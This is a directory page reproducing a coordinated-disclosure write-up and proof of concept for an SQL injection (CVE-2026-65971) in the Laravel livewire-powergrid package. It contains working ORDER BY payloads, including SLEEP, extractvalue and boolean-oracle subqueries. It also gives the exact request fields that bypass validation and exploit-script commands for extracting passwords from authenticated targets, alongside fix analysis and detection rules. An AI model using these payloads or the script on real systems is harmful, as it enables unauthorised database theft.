Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2026-65971 — Proof-of-concept and technical write-up for CVE-2026-65971 — SQL injection via the sortDirection Livewire property in power-components/livewire-powergrid (< 6.10.4) | Kitploit
Tools/GitHubGitHub/biitts/poc-cve-2026-65971
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubbiitts/poc-cve-2026-65971

POC-CVE-2026-65971

Proof-of-concept and technical write-up for CVE-2026-65971 — SQL injection via the sortDirection Livewire property in power-components/livewire-powergrid (< 6.10.4)

View Repository
128 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-65971 — SQL Injection in Livewire PowerGrid via sortDirection

Proof-of-concept and full technical write-up for CVE-2026-65971 / GHSA-7fgc-3h6c-698r, an SQL injection in power-components/livewire-powergrid reachable through the public Livewire property sortDirection.

CVECVE-2026-65971
GHSAGHSA-7fgc-3h6c-698r
Packagepower-components/livewire-powergrid (Composer / Packagist)
Affected>= 6.0.0, < 6.10.4
Patched6.10.4
WeaknessCWE-89 — Improper Neutralization of Special Elements used in an SQL Command
Severity7.6 High — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Reported byCaio Fabrício (@BiiTts)
DisclosureCoordinated, via GitHub private security advisory
root@kitploit:~
├── poc/exploit_powergrid_sqli.py     working exploit — confirm + blind extraction
├── lab/                              build the vulnerable app to reproduce it yourself
├── evidence/EVIDENCE.txt             raw lab notes from confirmation
├── patch/security-fix-v6.10.4.diff   the security-relevant portion of the official fix
└── detection/                        Sigma rules + Nuclei template for defenders

🧠 Summary

PowerGrid is a datatable component for Laravel + Livewire (~2k stars, widely used in Laravel admin panels). Its sort state lives in two public Livewire properties:

root@kitploit:~
public string $sortField = 'id';
public string $sortDirection = 'asc';

In Livewire, a public property is part of the component's wire format — any client that can reach the component can set it through POST /livewire/update. That is by design; the security boundary is what the server does with the value.

PowerGrid's naturalSort() feature builds a raw ORDER BY expression containing the literal placeholder {sortDirection}, and a pipeline substitutes that placeholder with the raw, unvalidated property value before handing the string to orderByRaw(). The direction keyword therefore lands verbatim inside SQL.

Laravel's own orderBy() rejects anything that is not asc/desc, and that validation is what makes the ordinary sort path safe. The bug is that a second, unvalidated path to the same clause exists — and an attacker can reach it while skipping the validating one entirely (see The bypass).

Result: arbitrary SQL in the ORDER BY clause, exploitable as a blind boolean/time-based oracle to read any data the database user can read.


🔥 Impact

Anyone who can reach a PowerGrid table that uses naturalSort can read arbitrary data from the database — other tables, password hashes, session tokens, API keys, cross-tenant records — using a time-based / boolean oracle.

  • Confidentiality: High. Full read of anything the DB user can SELECT.
  • Integrity: Low. Stacked queries are blocked by PDO MySQL's default configuration, so ; UPDATE ... does not execute. Write impact is limited to what a subquery can trigger.
  • Availability: Low. The same primitive gives an attacker SLEEP() and heavy subqueries — trivially abusable to pin database threads.
  • Typical placement is the aggravating factor. PowerGrid tables sit in admin panels and multi-tenant back-offices — exactly where the interesting data is. A low-privileged tenant user reaching one such table can exfiltrate the whole database.

Privileges required is PR:L because a datatable normally sits behind application authentication. If the affected table renders on an unauthenticated page, recompute with PR:N → 8.2 High.


🧩 Root cause — the complete taint chain

Three files, three stages. All references are to the vulnerable tag v6.10.3.

Stage 1 — Source: an attacker-controlled public property

src/Concerns/Sorting.php

root@kitploit:~
public string $sortField = 'id';        // line 11
public string $sortDirection = 'asc';   // line 13

Neither property has a whitelist, a validation rule, or a normalizing setter. sortDirection is only ever assigned or flipped:

root@kitploit:~
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

updatedSortDirection() (line 103) exists — the natural place for validation — but in v6.10.3 it only handles lazy-loading bookkeeping. It never inspects the value.

Because Livewire hydrates public properties straight from the request, sortDirection is fully attacker-controlled, as an arbitrary string, at this point.

Stage 2 — The raw clause: naturalSort() plants a placeholder

src/Providers/Macros.php, lines 102–116 — the naturalSort column macro:

root@kitploit:~
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
    $this->enableSort();

    if ($when) {
        $this->rawQueries[] = [
            'method'   => 'orderByRaw',                          // <-- raw sink
            'sql'      => Sql::sortStringAsNumber($this->dataField),
            'bindings' => [],
        ];
    }

    return $this;
});

Sql::sortStringAsNumber() resolves to a per-driver expression built by getSortSqlByDriver() in src/DataSource/Support/Sql.php (lines 60–100). Every driver variant ends with the same literal placeholder:

root@kitploit:~
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

The vulnerability is driver-independent — every branch interpolates {sortDirection}.

Stage 3 — Sink: the placeholder is resolved with the raw property value

src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php

root@kitploit:~
private function resolvePlaceholders(?string $sql): ?string   // line 56
{
    if (is_null($sql)) {
        return null;
    }

    return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
        $property = trim($matches[1]);

        return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
    }, $sql);
}

and the execution, line 52:

root@kitploit:~
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

data_get($this->component, 'sortDirection') returns the attacker's string, preg_replace_callback splices it into the SQL text, and orderByRaw() — which by contract does not escape its argument — passes it to the database.

Note the bitter irony one line below: resolveBindings() (line 69) exists, and naturalSort declares 'bindings' => []. The mechanism for safe parameterization is right there. It cannot be used for a direction keyword — ORDER BY x ? is not valid SQL, a direction can never be a bound parameter — which is precisely why a direction keyword must be allowlisted instead.

The chain in one line

root@kitploit:~
POST /livewire/update  ──▶  public string $sortDirection   (Sorting.php:13, no validation)
                       ──▶  data_get($component, 'sortDirection')   (ColumnRawQueries.php:65)
                       ──▶  "CAST(...) {sortDirection}"  →  "CAST(...) asc, (SELECT SLEEP(3))"
                       ──▶  orderByRaw($sql)   (ColumnRawQueries.php:52)
                       ──▶  MySQL/MariaDB/PgSQL/SQLite/MSSQL

🔓 The bypass — why Laravel's validation does not save you

This is the part that turns "raw interpolation" into an actually exploitable bug, and it is the reason the issue survived in a mature, widely-used package.

PowerGrid processes a query through a pipeline. Two stages of that pipeline touch the sort direction:

Sorting pipeline — src/DataSource/Processors/Database/Pipelines/Sorting.php:

root@kitploit:~
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

orderBy() is Laravel's validating API. Give it anything other than asc/desc and it throws:

root@kitploit:~
InvalidArgumentException: Order direction must be "asc" or "desc".

So on the normal path — user clicks a column header, sortField=name, sortDirection=<payload> — the framework blocks the injection. A quick audit stops here and concludes "mitigated by Laravel".

ColumnRawQueries pipeline — the second stage, shown above — has no such guard. Look at its handle() (lines 21–27): it iterates the columns, and for every column carrying rawQueries it applies them unconditionally. It never consults sortField. It never consults the Sorting pipeline's outcome.

That asymmetry is the bug:

Setting sortField to an empty string makes the validating stage skip itself, while the raw stage still emits the naturalSort ORDER BY with the attacker's {sortDirection} in it. Laravel's validation is never invoked, because the code path containing it never executes.

The full attack is therefore two fields, not one: sortDirection carries the payload, and sortField="" is the key that unlocks the door.


🎯 The exact fields

Everything happens through Livewire's standard update endpoint. No special headers, no custom route, no admin function.

Endpoint: POST /livewire/update

Body (JSON):

root@kitploit:~
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

Resulting SQL (MariaDB lab, rooms table, name column with naturalSort):

root@kitploit:~
select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0

The payload sits in a full expression slot of the ORDER BY list, which is why a bare subquery works and why the clause remains valid SQL.


🔬 How it was found — the path through the code

The order below is the actual order of reasoning, including the step that nearly closed the investigation as a false positive.

1. Attack surface first: Livewire public properties are attacker input. The framework's own model says every public property on a component is client-writable through /livewire/update. So the audit question for any Livewire package is not "is there user input?" but "which public properties reach a dangerous sink?". Enumerated PowerGrid's public properties; $sortField and $sortDirection stood out as the ones that exist specifically to be composed into SQL.

2. Follow them to every sink. Grepped the package for raw-SQL APIs — orderByRaw, whereRaw, selectRaw, havingRaw, DB::raw — and looked for any that could receive those properties. naturalSort's 'method' => 'orderByRaw' in Macros.php was the hit.

3. Find the connection between property and sink. The raw SQL in Sql.php did not reference $this->sortDirection; it contained the literal string {sortDirection}. Templating like that implies a resolver somewhere. Grepping for the brace pattern led to ColumnRawQueries::resolvePlaceholders() and its data_get($this->component, $property, '') — a generic property reader with no escaping. Source and sink now connected.

4. The step that almost killed it: the mitigation. First live attempt — set sortDirection to a payload and fire — produced not a leak but InvalidArgumentException: Order direction must be "asc" or "desc". Laravel's orderBy() was catching it. The tempting conclusion here is "framework mitigates, not exploitable", and that conclusion would have been wrong.

5. Ask where the exception came from, not just that it happened. The trace pointed at the Sorting pipeline's orderBy() — a different stage from the orderByRaw() sink identified in step 2. Two stages, two independent writes into the same ORDER BY, only one of them validating. That reframed the question from "can I defeat Laravel's validator?" (no — it is a strict comparison) to "can I reach the raw stage without executing the validating stage?"

6. Read the guard. The validating stage runs under if (filled($this->component->sortField)). filled('') is false. The raw stage has no guard at all. The bypass was a direct consequence: send sortField="" and only the unguarded stage runs.

7. Confirm empirically, twice, with independent techniques. A single positive signal is not a finding — a time delta could be a rate limiter, an error could be a generic 500. Both an error-based proof (the database echoing back the injected subquery verbatim) and a time-based boolean oracle (differentiating TRUE from FALSE on real data) were required before calling it confirmed. See Evidence.

Generalizable takeaway: a framework-level mitigation only protects the code path it sits on. When two pipeline stages write to the same SQL clause, "the framework validates it" is a claim about one of them. Always ask which stage the validation actually lives in, and whether the dangerous stage can run alone.


🧪 Evidence

Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, with a RoomTable PowerGrid component whose name column declares ->naturalSort(true) and a rooms table holding a secret column. Full lab in lab/.

Error-based — the injected subquery reaches the DB verbatim (HTTP 500, SQLSTATE[HY000] 1105):

root@kitploit:~
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

The database parsed and executed an attacker-supplied SELECT inside the ORDER BY. This is unambiguous proof of injection — the error text contains the injected SQL as executed, not as submitted.

Blind time-based — arbitrary data extraction:

root@kitploit:~
asc                                                                              ->  0.02s   baseline
asc, (SELECT SLEEP(3))                                                           ->  9.04s   injection executes
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')->  9.03s   TRUE  — value leaks
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%')      ->  0.02s   FALSE — oracle is sound

The TRUE/FALSE pair is what upgrades this from "something is slow" to "I can read your data": the same request shape returns two cleanly separated timings depending on a condition over a value the attacker cannot see. That is a working oracle, and poc/exploit_powergrid_sqli.py walks it character by character.

SLEEP(3) yields ~9s rather than ~3s because the sort applies the sleeping expression across multiple rows — a stronger, not weaker, signal.

Raw notes: evidence/EVIDENCE.txt.


⚙️ Proof of Concept

Dependency-free, Python 3 standard library only.

root@kitploit:~
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

It will:

  1. GET the page and scrape the CSRF token plus the wire:snapshot of the PowerGrid component;
  2. time a benign sortDirection=asc request as a baseline;
  3. fire sortField="" / sortDirection="asc, (SELECT SLEEP(3))" and compare timings;
  4. if the delta confirms execution, extract data character by character through the boolean oracle.

Useful flags:

root@kitploit:~
# non-destructive check only — verify vulnerable/patched, no data extraction
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only

# choose what to extract
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20

# authenticated targets (datatables usually sit behind login)
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."

Against a patched 6.10.4 target the script reports no time delta and exits cleanly — the allowlist collapses every payload to asc.


✅ Fix analysis (v6.10.4)

The maintainers shipped defense in depth across four call sites — the correct shape for this class of bug. The primitive:

root@kitploit:~
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

A strict allowlist with a safe default — not a blacklist, not escaping, not a regex. For a keyword that cannot be a bound parameter, this is the only correct control.

Applied at:

  1. ColumnRawQueries::resolvePlaceholders() — the sink. {sortDirection} is now special-cased and resolved only through sanitizeSortDirection(), never through the generic data_get().
  2. Concerns\Sorting::updatedSortDirection() — the Livewire hook. Sanitizes on write, so the property itself can no longer hold a payload.
  3. Concerns\Sorting::sortBy() — sanitizes the direction argument.
  4. Pipelines\Sorting::applySingleSort() / applyMultipleSort() — covers user-supplied sortUsing callbacks, which may build their own orderByRaw. This closed a second, related path beyond the one originally reported.

Regression tests were added: tests/Feature/SortDirectionInjectionTest.php and a DishesNaturalSortTable fixture.

Patch verification performed on the released tag (not on a promise): cloned v6.10.4, grepped every raw direction sink, ran the suite (30/30 pass), and fuzzed sanitizeSortDirection() with 17 payloads — the advisory's time-based payload, null bytes, SQL comments, hex literals, mixed case, whitespace padding, unicode. All collapse to asc or desc. Remaining sinks (export via WithExport/ExportableJob, Scout) go through validated orderBy() rather than orderByRaw() and are not injectable.

Verdict: PATCHED.

The security-relevant portion of the diff is in patch/.


🛡️ Remediation & detection

If you use PowerGrid

root@kitploit:~
composer require power-components/livewire-powergrid:^6.10.4
composer audit

Upgrade — do not try to work around it. If you genuinely cannot upgrade today, the temporary mitigation is to sanitize on the component itself:

root@kitploit:~
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

This is a stopgap. Upgrade.

Am I affected?

The precondition is at least one column declaring naturalSort:

root@kitploit:~
grep -rn "naturalSort" app/ resources/

No naturalSort column means the raw ORDER BY is never registered, and the primary path is not reachable. Note that v6.10.4 also hardened the sortUsing callback path — if your custom sort callbacks build raw SQL from the direction, you are exposed through that path as well, naturalSort or not.

Detecting exploitation

The attack is a normal-looking Livewire request; there is no unusual endpoint or method to alert on. Look at the value of sortDirection — legitimate traffic only ever sends asc or desc.

Anything else is, by definition, anomalous. Practical signals:

  • POST /livewire/update where the JSON body contains "sortDirection" with a value that is not exactly asc/desc (case-insensitive) — high fidelity, near-zero false positives;
  • the same request carrying "sortField":"" (empty) together with a non-trivial sortDirection — the exact bypass signature;
  • SQL keywords in that value: SELECT, SLEEP, BENCHMARK, extractvalue, updatexml, 0x;
  • application error logs with SQLSTATE[HY000] 1105 or SQLSTATE[42000] referencing ;

Two Sigma rules are provided in detection/sortdirection-sqli.yml — one on the request body, one on the database error signature for when body logging is not available. A Nuclei template that flags reachable PowerGrid components (the prerequisite surface) is in detection/nuclei-powergrid-sortdirection-sqli.yaml; confirm any hit with poc/exploit_powergrid_sqli.py --check-only.


📚 References

  • GitHub Security Advisory — GHSA-7fgc-3h6c-698r
  • NVD — CVE-2026-65971
  • Fix release — v6.10.4
  • Fix diff — v6.10.3...v6.10.4
  • CWE-89 — Improper Neutralization of Special Elements used in an SQL Command
  • Livewire — Properties are client-writable

⚖️ Legal

Published after coordinated disclosure, a released patch, and a public vendor advisory. The PoC targets the local lab in lab/ and is intended for defenders validating their own exposure and for researchers studying the bug class. Running it against systems you are not authorized to test is illegal. You are responsible for what you do with it.


Caio Fabrício — @BiiTts · LinkedIn

Download Tool
sortFieldSorting pipelineColumnRawQueries pipelineOutcome
"name" (filled)runs → orderBy() validates → throws on payloadruns → injects❌ blocked by the exception
"" (empty)filled('') is false → skipped entirelyruns → injects✅ injection lands
FieldRoleValue
components[0].updates.sortDirectioninjection pointthe SQL payload, prefixed with a valid direction so the clause stays syntactically whole
components[0].updates.sortFieldbypass key"" — empty, to skip the validating Sorting pipeline
components[0].snapshotplumbingLivewire component state; scraped from wire:snapshot="..." in the page HTML (HTML-unescape it)
_token / X-CSRF-TOKENplumbingscraped from data-csrf="..." or the "csrf":"..." blob in the page
order by
  • bursts of same-shape POSTs with response times clustering bimodally (fast/slow) — a blind oracle being walked.